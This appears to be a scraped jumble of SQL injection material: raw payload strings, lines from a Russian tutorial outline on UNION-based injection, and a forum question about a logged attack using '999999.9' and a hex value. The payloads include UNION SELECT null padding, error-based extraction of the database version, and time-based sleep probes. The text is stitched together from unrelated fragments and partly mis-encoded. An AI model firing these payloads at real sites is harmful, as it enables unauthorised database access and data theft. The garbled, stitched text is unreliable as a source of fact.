-999.9+union+all+select+%27R3DM0V3_hvj_injection',null%2CNULL%2CNULL%2CNULL%2CNULL
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
...Null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
1.3 Использование UNION + group_concat(). 1.4 Экранирование хвоста запроса. 1.5 Расщепление SQL-запроса.
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT
• SQL Injection into a String/Char parameter Example: SELECT * from table where example = 'Example' •.
Самое популярное заблуждение — фильтрация одинарной кавычки: т.е. если кавычки в запросе не будет — то и инъекция (разделение запроса) невозможна. Поэтому мы и не будем разделять запрос, мы его объединим с помощью оператора UNION...
What I would like to know why "999999.9", what is "0x39313335313435363237322e39". When this attack works what information would the hackers have or edits would they have done to the database. Last could this attack run over and over again bring down/crash the server?
ññð°ð»ñð½ð¾ðµ, 999999.9'+union+all+select+null,null,null,null,null,null,null,null,null,null+and+'0'='0, чувства"+and+3>"1, понятие+о+трех+пространствах'+and+sleep(3)...